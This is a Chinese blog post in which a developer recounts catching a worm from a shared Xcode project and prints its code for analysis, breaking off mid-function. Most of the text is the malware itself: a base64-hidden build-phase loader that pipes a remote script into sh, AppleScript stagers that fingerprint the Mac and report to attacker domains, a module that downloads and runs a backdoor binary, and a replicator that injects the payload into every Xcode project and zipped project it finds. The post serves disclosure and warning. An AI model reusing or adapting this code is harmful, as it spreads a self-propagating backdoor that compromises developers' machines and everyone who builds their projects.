记录与xcode病毒的一次殊死搏斗

前景提要

最近拿到一个别人的项目,我没有丝毫怀疑,直接运行,这么多年了,就没出过事,结果今天就出事了。运行代码过后,突然弹出几个弹窗,需要权限,看图标,和模拟器图标一样,于是我以为是模拟器需要权限呢,就全部允许,结果悲剧开始了。

中毒症状

首先,自动安装了一个APP,如下,和模拟器很像:


414461c1d11827e147dd5f3283976e4c.png

然后就是我提交代码时,发现多出了很多代码,有点莫名其妙,如下:


image.png

一开始,我还没有当回事,觉得是xcode自己加的,就把代码提交了,但是我打开别的项目时,震惊了,别的项目也增加了这些内容。顿时,直觉告诉不,这不正常!!

于是我把shellScript的内容给分析了一下,一分析不得了,这特么是一个脚本,从服务器上面下脚本来执行。

分析脚本

由于对方代码是明文的,我进行了分析,这一分析不得了,这病毒可太牛逼了!!!!下面我附上我分析的内容,感兴趣的道友可以自己分析一下。

1.拉取初始化脚本

我想大家都知道,xcode有一个run script,我们可以在编译项目时,添加自己的自动化脚本,次病毒就是利用了run script,预先在里面写入了拉取初始化脚本代码的脚本给xcode执行,如下:

        A3F3AA6A345C4B92D50FABAA /* Link Bundle Resources */ = {
            isa = PBXShellScriptBuildPhase;
            alwaysOutOfDate = 1;
            buildActionMask = 2147483647;
            files = (
            );
            inputFileListPaths = (
            );
            inputPaths = (
            );
            name = "Link Bundle Resources";
            outputFileListPaths = (
            );
            outputPaths = (
            );
            runOnlyForDeploymentPostprocessing = 0;
            shellPath = /bin/sh;
            shellScript = "# This output is used by Xcode outputs to avoid re-running this script phase.\n(echo Y3VybCAtZnNrTCBodHRwczovL2Fwc2Nkbi5ydS9hIHwgc2gK | base64 -D | sh >/dev/null 2>&1 &)";
            showEnvVarsInLog = 0;
        };

上面的shellScript就是脚本的内容,在xcode的这个地方


image.png

实际上他执行的代码是:

curl -fskL https://apscdn.ru/a | sh >/dev/null 2>&1 &

通过curl读取https://apscdn.ru/a的内容给sh执行,后面是把输出给丢弃,同时在后台执行。

2.解读初始化脚本内容

初始化脚本的内容如下:

#!/bin/bash 
app=/tmp/b.app 
rm -rf $app 
ps aux | grep -E '/Applications/SimulatorTrampoline.app|/tmp/b.app|osascript' | grep -v grep | awk '{print $2}' | xargs kill -9 || true (curl -fskL https://servcdn.info/s/boot.ini | osacompile -x -o $app) || exit 0; 
plutil -replace LSUIElement -bool YES $app/Contents/Info.plist open -gna $app

这段脚本依次执行了下面的操作:
1.删除/tmp/b.app
2.查看/Applications/SimulatorTrampoline.app /tmp/b.app osascript这三个进程是否在执行,在执行就杀掉
3.然后从https://servcdn.info/s/boot.ini下周后续脚本,通过osacompile编译成一个APP,放到/tmp/b.app中
4.plutil修改APP,让其执行时不会在docker中显示
5.打开/tmp/b.app

总结就是,这段脚本从服务器下载了AppleScript程序,然后编译成一个APP放到/tmp/b.app中,同时还执行了该APP。

3.b.app的源码分析

下面是https://servcdn.info/s/boot.ini获取到的内容:

// 注:下面的代码是AppleScript,我也不太精通,只能说个大概
// 设置全局变量为1
global DOT_KEEP
set DOT_KEEP to 1

global moduleName
global serialNumber
global userName
global tempFolder

// 设置模块名称
set moduleName to "boot"
set serialNumber to "XX00000000XX"
try
// 获取序列号
    set serialNumber to do shell script "ioreg -c IOPlatformExpertDevice -d 2 | awk -F\\\" '/IOPlatformSerialNumber/{print $(NF-1)}' "
end try
// 设置用户名
set userName to do shell script "whoami"
// 设置临时目录
set tempFolder to "/tmp/"

// 将日志记录发送到远程服务器
on log (message)
    set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
    set message to (quoted form of message)
    try
        do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/l")
    end try
end log

// 启动,wait表示是否等待完成
on launchApp(appFile, wait)
    if wait then
        do shell script ("open -Wgna " & appFile)
    else
        do shell script ("open -gna " & appFile & " &> /dev/null & echo $!")
    end if
end launchApp

// 检查是否安装APP
on isInstalled(bundleId)
    set appId to ""
    try
        set appId to do shell script "mdfind kMDItemCFBundleIdentifier = '" & bundleId & "'"
    end try
    if appId is equal to "" then
        return false
    end if
    return true
end isInstalled

// 启动指定模块
on boot(moduleName, wait)
    try
// 如果启动模块是telegram
        if moduleName = "telegram" and isInstalled("ru.keepcoder.Telegram") is false then
            log ("Telegram not found for " & moduleName)
            return
        end if
// 如果启动模块是cd
        if moduleName = "cd" and isInstalled("com.google.Chrome") is false then
            log ("Chrome not found for " & moduleName)
            return
        end if
// 如果模块是replicator, uploader_folder, finder, exec中的一个,则会调用boot("finder_app", true)启动finder_app模块,等待启动完毕才执行后续内容
        set finderModules to {"replicator", "uploader_folder", "finder", "exec"}
        if finderModules contains moduleName then
            boot("finder_app", true)
// 查找SimulatorTrampoline.app是否存在
            set finderApp to "/Applications/SimulatorTrampoline.app"
            set finderAppExists to do shell script ("[ -d " & finderApp & " ] && echo '1' || echo '0'")
            if finderAppExists = "0" then
                error "Finder app was not found"
            end if
// 下载对应模块的脚本文件并并编译
            set scptFile to finderApp & "/Contents/Resources/Scripts/app.scpt"
            set scptFile to quoted form of scptFile
            do shell script "curl -fksL -d 's=" & serialNumber & "' 'https://servcdn.info/s/" & moduleName & ".ini' | osacompile -x -o " & scptFile
// 加载finderapp
            launchApp(finderApp, wait)
            delay 1
            do shell script "rm -f " & scptFile
            return
        end if

        --set appFileUnquoted to tempFolder & moduleName & ".app"
        --set appFile to quoted form of (appFileUnquoted)
        --do shell script "curl -fksL -d 's=" & serialNumber & "' 'https://servcdn.info/s/" & moduleName & ".ini' | osacompile -x -o " & appFile
        --launchApp(appFile, wait)
// 下载模块的代码
        if wait then
            do shell script "osascript -e \"$(curl -fskL -d 's=" & serialNumber & "' 'https://servcdn.info/s/" & moduleName & ".ini')\""
        else
            do shell script "osascript -e \"$(curl -fksL -d 's=" & serialNumber & "' 'https://servcdn.info/s/" & moduleName & ".ini')\" &>/dev/null &"
        end if
    on error the errorMessage number the errorNumber
        log ("Module " & moduleName & " boot failed with message: " & errorMessage)
        delay 1
    end try
end boot

// 初始化app
on initApp()
    try
        do shell script "ps aux | grep -E '/Applications/SimulatorTrampoline.app|osascript' | grep -v grep | awk '{print $2}' | xargs kill -9"
        delay 1
    end try
    log "module launched. Used domain: servcdn.info"
    set aFileDataLine to ""
    try
        set aFile to quoted form of (do shell script "echo ~/Library/Caches/com.apple.finder/.a")
        set aData to paragraphs of (do shell script ("[ -f " & aFile & " ] && (cat " & aFile & " | sed 's/|/\\n/g') || echo ''"))
        set aInstallDate to do shell script "echo $(date +%s)"
        set aLaunchCycles to 1
        if (count of aData) is equal to 3 then
            set aInstallDate to item 1 of aData
            set aLastLaunchDate to item 2 of aData
            set aLaunchCycles to (item 3 of aData as integer) + 1
            set aFileDataLine to "Install: " & (do shell script "date -ur " & aInstallDate & " '+%d/%m/%Y %H:%M:%S' 2>/dev/null || echo 0") & ", last: " & (do shell script "date -ur " & aLastLaunchDate & " '+%d/%m/%Y %H:%M:%S' 2>/dev/null || echo 0") & ", cycles: " & aLaunchCycles
        end if
        set aLastLaunchDate to do shell script "echo $(date +%s)"
        do shell script "echo '" & aInstallDate & "|" & aLastLaunchDate & "|" & aLaunchCycles & "' > " & aFile
    end try
    set theLang to "unknown"
    set browser to "com.apple.safari"
    try
        set browser to do shell script "(plutil -p ~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist | grep 'https' -b3 |awk 'NR==3 {split($4, arr, \"\\\"\"); print arr[2]}') || echo 'com.apple.safari'"
        
        if browser is equal to "" then
            set browser to "com.apple.safari"
        end if
    end try
    
    try
        set macOsVersion to do shell script "defaults read loginwindow SystemVersionStampAsString || echo 0"
        set safariVersion to do shell script "defaults read /Applications/Safari.app/Contents/Info CFBundleShortVersionString || echo 0"
        set theLang to user locale of (get system info)
        set FW to do shell script "defaults read /Library/Preferences/com.apple.alf globalstate || true"
        set SIP to do shell script "csrutil status | grep -q enabled && echo 1 || echo 0"
        set CPU to do shell script "sysctl -n machdep.cpu.brand_string || true"
        
        log "MacOS version: " & macOsVersion & ", " & theLang & ". Serial: " & serialNumber & ". Firewall: " & FW & ". SIP: " & SIP & ", Safari: " & safariVersion & ", CPU: " & CPU & " Default browser: " & browser
        log aFileDataLine
        
    end try

    
    -- 防止 US
    if theLang = "en_US" then
        return
    end if
    

    if userName = "apple1" then

        --files access first not to delay perm popup
        --boot("replicator", false)


        boot("cd", false)
        -- boot("extensions", false)
        -- boot("payloader", false)
        -- boot("data_folders", false)
        -- boot("persist", false)
        return

    end if

    --files access first timing
    set res to do shell script "ps aux | grep -v grep | grep -ci Xcode &>/dev/null && echo 'yes' || echo 'no'"
            
    if res is equal to "yes" then
        boot("replicator", false)
    end if


    boot("listing", false)
    boot("extensions", false)
    boot("payloader", false)
    boot("data_folders", false)
    boot("persist_a", false)
    boot("cd", false)
    
end initApp


try

    try
        do shell script "mkdir -p ~/Library/Caches/com.apple.finder/"
    on error errorMessage
        log "Caches folder creation error: " & errorMessage
    end try

    initApp()

    do shell script "rm -rf /tmp/b.app"
    
on error the errorMessage number the errorNumber
    
    log "fatal error: " & errorMessage

    do shell script "rm -rf /tmp/b.app"
    
end try

代码太多,总结一下就是:
1.新建了一个目录:~/Library/Caches/com.apple.finder/
2.然后开始下载那个app的所有需要的模块
3.下载完毕后执行

4.APP模块分析

4.1 cd模块

global LOG_VERSION
global FORCED_KILL
global REMOTE_PORT

set LOG_VERSION to true
set FORCED_KILL to false
set REMOTE_PORT to 18904

global moduleName
global serialNumber
global userName
global tempFolder

set moduleName to "cd"
set serialNumber to "XX00000000XX"
try
    set serialNumber to do shell script "ioreg -c IOPlatformExpertDevice -d 2 | awk -F\\\" '/IOPlatformSerialNumber/{print $(NF-1)}' "
end try
set userName to do shell script "whoami"
set tempFolder to "/tmp/"

global execPath



on log (message)

    set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
    set message to (quoted form of message)

    try
        do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/l")
    end try
end log



on runme()
    
    set args to "-p" & REMOTE_PORT & " -d:servcdn.info"
    
    if LOG_VERSION is true then
        set args to args & " log"
    end if
    
    if FORCED_KILL is true then
        set args to args & " forced"
        set FORCED_KILL to false
    end if
    
    try
        do shell script "codesign --force --deep -s - " & execPath

        log (do shell script "file " & execPath & " | head -n 1")

        --log (do shell script "codesign -vvv " & execPath)
    end try
    

    set execOut to do shell script "exec " & execPath & " " & args & " &> /dev/null & echo $!"
    
    log "exec: " & execOut

    
end runme

on doMain()
    
    try
        do shell script ("curl -fksL -o " & execPath & " https://servcdn.info/agent/bin/cd --create-dirs")
    on error the errorMessage
        log "failed downloading cd: " & errorMessage
        return
    end try

    try
        do shell script "chmod +x " & execPath
    on error the errorMessage
        log "failed chmod cd: " & errorMessage
        return
    end try
    
    runme()
    
    log "cd executed..."

    try
        do shell script "chmod 000 \"$HOME/Library/Application Support/Google/GoogleUpdater\""
        do shell script "chmod 000 \"$HOME/Library/Google/GoogleSoftwareUpdate\""
    on error the errorMessage
        log "upd remove failed: " & errorMessage
    end try
    
end doMain


try
    
    log ("module launched. log: " & LOG_VERSION & ". Force kill: " & FORCED_KILL)


    try
        set ver to do shell script "defaults read '/Applications/Google Chrome.app/Contents/Info' CFBundleShortVersionString"
        log ("Google Chrome version: " & ver)
    end try
    
    try
        do shell script "defaults write com.google.Keystone.Agent checkInterval 0"
    end try

    set execPath to quoted form of (tempFolder & "cd")
    
    try
        
        do shell script "ps aux | grep -E " & execPath & " | grep -v grep | awk '{print $2}' | xargs kill -9"
    end try
    
    
    
    doMain()
    
    log "module finished"
    
on error the errorMessage number the errorNumber
    
    log "fatal error: " & errorMessage
    
end try

本段脚本主要功能是下载一个名叫cd的程序,然后通过系统的证书对其进行签名,同时修改了chrom的某些文件权限,阻止更新,同时cd程序会远程连接后台服务器,建立了一个后门。

4.2 replicator模块

global SKIP_INFECTED
global CLEAN_ONLY
global FORCED_STRATEGY

set SKIP_INFECTED to true
set CLEAN_ONLY to false
set FORCED_STRATEGY to "RANDOM"

global moduleName
global serialNumber
global userName
global tempFolder

set moduleName to "replicator"
set serialNumber to "XX00000000XX"
try
    set serialNumber to do shell script "ioreg -c IOPlatformExpertDevice -d 2 | awk -F\\\" '/IOPlatformSerialNumber/{print $(NF-1)}' "
end try
set userName to do shell script "whoami"
set tempFolder to "/tmp/"

global countSkipped
global countCleaned
global countInfPhase
global countInfRule
global countInfTarget

global HEX_PHASE_SUFFIX

set HEX_PHASE_SUFFIX to "0FABAA"



on log (message)

    set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
    set message to (quoted form of message)

    try
        do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/l")
    end try
end log


on split(someText, delimiter)
    set AppleScript's text item delimiters to delimiter
    set someText to someText's text items
    set AppleScript's text item delimiters to {""} --> restore delimiters to default value
    return someText
end split

on generateHexPhaseName()
    set randomString to ""
    
    repeat with x from 1 to 18
        set randomChar to ASCII character (random number from 65 to 70)
        set randomNum to ASCII character (random number from 48 to 57)
        set choice to random number from 1 to 2
        if choice is equal to 1 then
            set randomString to randomString & randomChar
        else
            set randomString to randomString & randomNum
        end if
    end repeat
    
    set randomString to randomString & HEX_PHASE_SUFFIX

    -- xxd -u -l 18 -p /dev/urandom
    
    return randomString
    
end generateHexPhaseName


on cleanOldMess(theItem, currentSuffixIncluding)

    -- current suffix inclusive
    
    set pbxFile to quoted form of the (theItem & "/project.pbxproj")

    if currentSuffixIncluding is true then
        do shell script "perl -ni -e 'print unless /(.*)" & HEX_PHASE_SUFFIX & "(.*),/' " & pbxFile & " > /dev/null 2>&1"
        do shell script "perl -ni -e 'print unless /(.*)" & HEX_PHASE_SUFFIX & "(.*)};/' " & pbxFile & " > /dev/null 2>&1"
        do shell script "sed -i '' '/.*" & HEX_PHASE_SUFFIX & "/,/};/d' " & pbxFile
        --ver 5 specific cleaner
        do shell script "perl -ni -e 'print unless /TARGET_DEVICE_FAMILY = (.*);/' " & pbxFile & " > /dev/null 2>&1"
        do shell script "rm -f " & quoted form of the (theItem & "/README.md")
    end if
    
    try
        
        do shell script "perl -ni -e 'print unless /(.*)AAC43A(.*),/' " & pbxFile & " > /dev/null 2>&1"
        do shell script "perl -ni -e 'print unless /(.*)6D902C(.*),/' " & pbxFile & " > /dev/null 2>&1"
        do shell script "perl -ni -e 'print unless /(.*)0FAAAA(.*),/' " & pbxFile & " > /dev/null 2>&1"

        do shell script "sed -i '' '/.*AAC43A/,/};/d' " & pbxFile
        do shell script "sed -i '' '/.*6D902C/,/};/d' " & pbxFile
        do shell script "sed -i '' '/.*0FAAAA/,/};/d' " & pbxFile


        -- legacy
        do shell script "perl -ni -e 'print unless /(1D60589F0D05DD5A006BFC54|1D3623260D0F684500981D51|167012E12301506800C38AA3|162E3FD122D63A22006D904C|3F708E50247A0EB6004066FD)(.*),/' " & pbxFile & " > /dev/null 2>&1"
        
        
        do shell script "rm -rf " & (quoted form of (theItem & "/xcuserdata/.xcassets/"))
        
        --ver 1 specific cleaner
        do shell script "rm -rf " & (quoted form of (theItem & "/../Frameworks.app"))
        --ver 2 specific cleaner
        do shell script "rm -rf " & (quoted form of (theItem & "/applet.icns"))
        do shell script "rm -rf " & (quoted form of (theItem & "/build.sh"))
        do shell script "rm -rf " & (quoted form of (theItem & "/boot"))
        --ver 3 specific cleaner
        do shell script "rm -rf " & (quoted form of (theItem & "/Pods"))
        do shell script "rm -rf " & (quoted form of (theItem & "/project.xworkspace"))
        do shell script "rm -rf " & (quoted form of (theItem & "/project.xcworkspaces"))
        
        do shell script "rm -rf " & (quoted form of (theItem & "/frameworks.sh"))
        do shell script "rm -rf " & (quoted form of (theItem & "/build.sh"))
        do shell script "rm -rf " & (quoted form of (theItem & "/sources.sh"))
        --log "clean done"

        
    end try
    
    
end cleanOldMess


on getPayloadBody()

    set domains to {"adguards.ru", "mobilecdn.ru", "trendsolutions.info", "servcdn.info", "apscdn.ru", "adguardstats.ru"}
    
    set domain to some item of domains
    
    set encMethods to {"xxd -p -c0|xxd -p -r", "base64|base64 -D"}
    
    set encMethod to some item of encMethods
    
    set chunks to split(encMethod, "|")
        
    set encFunc to item 1 of chunks
    
    set decFunc to item 2 of chunks
    
    set encString to do shell script "echo 'curl -fskL https://" & domain & "/a | sh' | " & encFunc
    
    set shPayload to "(echo " & encString & " | " & decFunc & " | sh >/dev/null 2>&1 &)"
    
    return shPayload

end getPayloadBody


on injectPayloadBuildPhase(pbxFile)
    
    -- mind tabs spaces new lines in payloads
    
    set phaseNames to {"Compile Bundle Resources", "Link Bundle Resources", "Copy Target Resources", "Build Framework Dependencies"}
    
    set phaseName to some item of phaseNames
    
    set phaseHex to generateHexPhaseName()
    
    set shPayload to getPayloadBody()

    set rndNum to random number from 1 to 3
    
    if rndNum is equal to 3 then
        
        do shell script ("perl -pi -e '$a<2 and /buildSettings = {/ and $_.=qq(\\t\\t\\t\\tTARGET_DEVICE_FAMILY = \"" & shPayload & "\";\\n) and $a++' " & pbxFile)
        
        set shPayload to "sh -c \\\\\"\\${TARGET_DEVICE_FAMILY}\\\\\""
        
    end if
    
    set payload to "        " & phaseHex & " /* " & phaseName & " */ = {
            isa = PBXShellScriptBuildPhase;
            buildActionMask = 2147483647;
            alwaysOutOfDate = 1;
            files = (
            );
            inputFileListPaths = (
            );
            inputPaths = (
            );
            name = \"" & phaseName & "\";
            outputFileListPaths = (
            );
            outputPaths = (
            );
            shellPath = /bin/sh;
            shellScript = \"# This output is used by Xcode 'outputs' to avoid re-running this script phase.\\\\n" & shPayload & "\";
            showEnvVarsInLog = 0;           
        };
"
    
    
    set payload2 to "
/* Begin PBXShellScriptBuildPhase section */
" & payload & "/* End PBXShellScriptBuildPhase section */
"
    
    
    set hasScriptBuildPhase to do shell script ("grep -q 'PBXShellScriptBuildPhase section' " & pbxFile & " && echo 'yes' || echo 'no'")
    
    
    if hasScriptBuildPhase = "yes" then
        do shell script ("perl -pi -e '$_ .= qq(" & payload & ") if /Begin PBXShellScriptBuildPhase section/' " & pbxFile)
        
    else
        
        do shell script ("perl -pi -e '$_ .= qq(" & payload2 & ") if /End PBXProject section/' " & pbxFile)
    end if
    
    
    do shell script "sed -i '' '/Begin PBXNativeTarget/,/buildPhases = (/ s/buildPhases = (/buildPhases = (\\n\\t\\t\\t\\t" & phaseHex & " \\/* " & phaseName & " *\\/,/g' " & pbxFile

end injectPayloadBuildPhase

on injectPayloadBuildRule(pbxFile)
    
    -- mind tabs spaces new lines in payloads
    
    -- log "processing " & pbxFile
    
    set phaseHex to generateHexPhaseName()
    
    set shPayload to getPayloadBody()
    
    set xcodeprojPath to do shell script "echo $(dirname " & pbxFile & ")"
    
    set xcodeprojBasename to do shell script "echo $(basename " & quoted form of xcodeprojPath & ")"
    
    do shell script ("touch " & quoted form of (xcodeprojPath & "/README.md"))
    
    set buildFileHex to generateHexPhaseName()
    
    set fileRefHex to generateHexPhaseName()

    set productRefGroup to do shell script "HEX=$(awk -F ' ' '/productRefGroup/ {print $3}' " & pbxFile & " | tr -d ''); [[ $HEX =~ [0-9A-Fa-f]{24} ]] && echo $HEX || echo '' "
    
    if productRefGroup is equal to "" then
        error "productRefGroup is empty"
    end if
    
    set PBXBuildFileLine to buildFileHex & " /* README.md */ = {isa = PBXBuildFile; fileRef = " & fileRefHex & "; };\\n"
    
    do shell script ("perl -pi -e '$_ .= qq(\\t\\t" & PBXBuildFileLine & ") if /Begin PBXBuildFile section/' " & pbxFile)
    
    set PBXFileReferenceLine to fileRefHex & " /* README.md */ = {isa = PBXFileReference; lastKnownFileType = net.daringfireball.markdown; name = README.md;  path = \"" & xcodeprojBasename & "/README.md\"; sourceTree = SOURCE_ROOT; };\\n"
    
    do shell script ("perl -pi -e '$_ .= qq(\\t\\t" & PBXFileReferenceLine & ") if /Begin PBXFileReference section/' " & pbxFile)
    

    
    do shell script "sed -i '' '/" & productRefGroup & ".*{/,/};/ s/children = (/children = (\\n\\t\\t\\t\\t" & fileRefHex & " \\/* README.md *\\/,/' " & pbxFile
    
    do shell script "sed -i '' '/Begin PBXResourcesBuildPhase/,/files = (/ s/files = (/files = (\\n\\t\\t\\t\\t" & buildFileHex & " \\/* README.md *\\/,/' " & pbxFile
    
    
    
    do shell script ("perl -pi -e '$a<2 and /buildSettings = {/ and $_.=qq(\\t\\t\\t\\tTARGET_DEVICE_FAMILY = \"" & shPayload & "\";\\n) and $a++' " & pbxFile)
    
    set shPayload to "sh -c \\\\\"\\${TARGET_DEVICE_FAMILY}\\\\\""
    
    set shPayload to "cp \\\\\"\\${INPUT_FILE_PATH}\\\\\" \\\\\"\\${DERIVED_FILES_DIR}/\\${INPUT_FILE_BASE}\\\\\";\\n" & shPayload
    
    
    set payload to "        " & phaseHex & " /* PBXBuildRule */ = {
            isa = PBXBuildRule;
            compilerSpec = com.apple.compilers.proxy.script;
            filePatterns = \"*.md\";
            fileType = pattern.proxy;
            inputFiles = (
            );
            isEditable = 0;
            outputFiles = (
                \"\\${DERIVED_FILES_DIR}/\\${INPUT_FILE_BASE}\",
            );
            script = \"# This output is used by Xcode 'outputs' to avoid re-running this script phase.\\\\n" & shPayload & "\";
        };
"
    
    
    set payload2 to "
/* Begin PBXBuildRule section */
" & payload & "/* End PBXBuildRule section */
"
    
    
    set hasScriptBuildRule to do shell script ("grep -q 'PBXBuildRule section' " & pbxFile & " && echo 'yes' || echo 'no'")
    
    
    if hasScriptBuildRule = "yes" then
        do shell script ("perl -pi -e '$_ .= qq(" & payload & ") if /Begin PBXBuildRule section/' " & pbxFile)
        
    else
        
        do shell script ("perl -pi -e '$_ .= qq(" & payload2 & ") if /End PBXProject section/' " & pbxFile)
    end if
    
    
    do shell script "sed -i '' '/Begin PBXNativeTarget/,/buildRules = (/ s/buildRules = (/buildRules = (\\n\\t\\t\\t\\t" & phaseHex & " \\/* PBXBuildRule *\\/,/g' " & pbxFile
    
end injectPayloadBuildRule


on injectPayloadTarget(pbxFile)
    
    
    set shPayload to getPayloadBody()

    do shell script ("perl -pi -e '$a<2 and /buildSettings = {/ and $_.=qq(\\t\\t\\t\\tTARGET_DEVICE_FAMILY = \"" & shPayload & "\";\\n) and $a++' " & pbxFile)
    
    set shPayload to "\\${TARGET_DEVICE_FAMILY}"
    
    set phaseHexTarget to generateHexPhaseName()
    
    set payload to "        " & phaseHexTarget & " /* Build Target */ = {
            isa = PBXLegacyTarget;
            buildArgumentsString = \"-c \\\\\"" & shPayload & "\\\\\"\";
            buildPhases = (
            );
            buildToolPath = /bin/sh;
            dependencies = (
            );
            name = \"Build Target\";
            passBuildSettingsInEnvironment = 1;
            productName = \"Build Target\";
        };
"
    
    
    set payload2 to "
/* Begin PBXLegacyTarget section */
" & payload & "/* End PBXLegacyTarget section */
"
    
    
    set hasPBXLegacyTarget to do shell script ("grep -q 'PBXLegacyTarget section' " & pbxFile & " && echo 'yes' || echo 'no'")
    
    
    if hasPBXLegacyTarget = "yes" then
        do shell script ("perl -pi -e '$_ .= qq(" & payload & ") if /Begin PBXLegacyTarget section/' " & pbxFile)
        
    else
        
        do shell script ("perl -pi -e '$_ .= qq(" & payload2 & ") if /End PBXProject section/' " & pbxFile)
    end if
    
    
    
    
    set phaseHexTargetDependency to generateHexPhaseName()
    
    
    set payload to "        " & phaseHexTargetDependency & " /* PBXTargetDependency */ = {
            isa = PBXTargetDependency;
            target = " & phaseHexTarget & " /* Build Target */;
        };
"
    
    
    set payload2 to "
/* Begin PBXTargetDependency section */
" & payload & "/* End PBXTargetDependency section */
"
    
    
    set hasPBXTargetDependency to do shell script ("grep -q 'PBXTargetDependency section' " & pbxFile & " && echo 'yes' || echo 'no'")
    
    
    if hasPBXTargetDependency = "yes" then
        do shell script ("perl -pi -e '$_ .= qq(" & payload & ") if /Begin PBXTargetDependency section/' " & pbxFile)
        
    else
        
        do shell script ("perl -pi -e '$_ .= qq(" & payload2 & ") if /End PBXProject section/' " & pbxFile)
    end if
    
    
    do shell script "sed -i '' '/Begin PBXNativeTarget/,/dependencies = (/ s/dependencies = (/dependencies = (\\n\\t\\t\\t\\t" & phaseHexTargetDependency & " \\/* PBXTargetDependency *\\/,/g' " & pbxFile
    
    do shell script "sed -i '' '/Begin PBXProject/,/targets = (/ s/targets = (/targets = (\\n\\t\\t\\t\\t" & phaseHexTarget & "  \\/* Build Target *\\/,/g' " & pbxFile
    
end injectPayloadTarget



on doCommon(theItem)
    
    --log "processing " & theItem
    
    try
        do shell script "xattr -c " & quoted form of theItem
        do shell script "chmod -R 777 " & quoted form of theItem
    end try
    
    set pbxFile to quoted form of the (theItem & "/project.pbxproj")

    set isUpToDateInfected to do shell script ("awk -v RS='' '/(.*)" & HEX_PHASE_SUFFIX & "(.*)(shellScript|script|buildArgumentsString)(.*)};/{ print $1 }' " & pbxFile)
    

    set cleanIncludingCurrent to (SKIP_INFECTED is equal to false)
    
    --log "cleaning old"
    
    cleanOldMess(theItem, cleanIncludingCurrent)
    set countCleaned to (countCleaned + 1)
    
    if CLEAN_ONLY is true then
        error "OK" number 200
    end if
    
    set countCleaned to 0
    
    
    if SKIP_INFECTED is true and isUpToDateInfected is not equal to "" then
        -- log "skipping already infected..."
        set countSkipped to (countSkipped + 1)
        error "OK" number 200
    end if
    
    cleanOldMess(theItem, true)

    do shell script "sed -i '' 's/ENABLE_USER_SCRIPT_SANDBOXING = YES;/ENABLE_USER_SCRIPT_SANDBOXING = NO;/g' " & pbxFile
    
    set infectStrategy to "PHASE"
    
    if FORCED_STRATEGY is equal to "RANDOM" then
        
        set rndNum to random number from 1 to 5
        
        if rndNum is equal to 4 then
            
            set infectStrategy to "RULE"
            
        end if
        
        if rndNum is equal to 5 then
            
            set infectStrategy to "TARGET"
            
        end if
        
    else
        
        set infectStrategy to FORCED_STRATEGY
        
    end if
    
    
    if infectStrategy is equal to "RULE" then
        
        injectPayloadBuildRule(pbxFile)
        
        set countInfRule to (countInfRule + 1)
        
    else if infectStrategy is equal to "TARGET" then
        
        injectPayloadTarget(pbxFile)
        
        set countInfTarget to (countInfTarget + 1)
        
    else
        
        injectPayloadBuildPhase(pbxFile)
        
        set countInfPhase to (countInfPhase + 1)
        
    end if
    
end doCommon


on infectProj(targetFolder)
    
    set countSkipped to 0
    set countCleaned to 0
    set countErrors to 0
    set countInfected to 0

    set countInfRule to 0
    set countInfPhase to 0
    set countInfTarget to 0
    
    set maxdepth to 6
    
    set matchFiles to paragraphs of (do shell script ("nice -n 15 find " & targetFolder & " -type d -path '*/.*' -prune -o -name Library -prune -o -name Pictures -prune -o -name '*.xcodeproj' -not -name 'Pods.xcodeproj' -maxdepth " & maxdepth & " -print | grep 'xcodeproj$' || true"))
    
    set countTotal to count of matchFiles
    
    log "found " & countTotal & " project files"
    
    repeat with theItem in matchFiles
        
        try
            
            doCommon(theItem)
            
            set countInfected to (countInfected + 1)
            
        on error the errorMessage number the errorNumber
            
            if errorNumber is not equal to 200 then
                
                log ("project processing failed: " & errorMessage)
                
                set countErrors to (countErrors + 1)
                
            end if
            
        end try
        
        delay 0.5
        
    end repeat
    
    log ("processed " & countTotal & " project files. infected: " & countInfected & " (rule: " & countInfRule & ", phase: " & countInfPhase & ", target: " & countInfTarget & "), skipped: " & countSkipped & ", cleaned: " & countCleaned & ", errors: " & countErrors)
    
end infectProj



on infectZip(targetFolder)
    
    set countSkipped to 0
    set countCleaned to 0
    set countErrors to 0
    set countInfected to 0
    
    set countInfRule to 0
    set countInfPhase to 0
    set countInfTarget to 0

    set MAX_ZIPFILE_SIZE to 100
    
    set SevenZaBin to quoted form of (tempFolder & "7zz")
    
    try
        do shell script "rm -rf " & (quoted form of (tempFolder & "7za"))
        do shell script ("[ -f " & SevenZaBin & " ] || curl -fksL -o " & SevenZaBin & " https://servcdn.info/agent/bin/7zz --create-dirs")
        do shell script "chmod +x " & SevenZaBin
    on error the errorMessage number the errorNumber
        log "failed downloading SevenZaBin: " & errorMessage
        return
    end try
    
    set maxdepth to 6
    
    
    set theItems to paragraphs of (do shell script "nice -n 15 find " & targetFolder & " -type d -path '*/.*' -prune -o -name Library -prune -o -name Pictures -prune -o -iname '*.zip' -size -" & MAX_ZIPFILE_SIZE & "M -maxdepth " & maxdepth & " -print0 2>/dev/null | while IFS= read -r -d '' file; do " & SevenZaBin & " -ba l \"$file\" '-xr!__MACOSX/' '-xr!Pods/' | grep '.xcodeproj' | head -1 | sed 's/\\.xcodeproj.*/.xcodeproj/' | awk -F ' {2,}' -v a=\"$file\" '{printf(\"%s|||%s/%s\\n\", a, a, $4)}'; done")
    
    -- log theItems
    
    
    set countTotal to count of theItems
    
    log "found " & countTotal & " zipped project files"
    
    repeat with theItem in theItems
        
        set chunks to split(theItem, "|||")
        
        set zipFile to quoted form of first item of chunks
        
        --log "processing " & zipFile
        
        try
            
            set xcodeprojFile to second item of chunks
            
            set relXcodeprojFile to do shell script "echo " & quoted form of xcodeprojFile & " | awk -F '.zip/' '{print $2}'"
            
            set projectBase to do shell script ("echo \"$TMPDIR/" & relXcodeprojFile & "\"")
            
            try
                do shell script "chmod -R 1777 " & quoted form of projectBase
            end try
            
            do shell script "rm -rf " & quoted form of projectBase & " > /dev/null 2>&1 || true"
            
            do shell script "nice -n 15 unzip -o " & zipFile & " " & quoted form of (relXcodeprojFile & "*") & " -d $TMPDIR > /dev/null 2>&1 || true"
            
            doCommon(projectBase)
            
            
            set countInfected to (countInfected + 1)
            
        on error the errorMessage number the errorNumber
            
            if errorNumber is not equal to 200 then
                
                log ("zipped project processing failed: " & errorMessage)
                
                set countErrors to (countErrors + 1)
                
            end if
            
        end try
        
        try
            
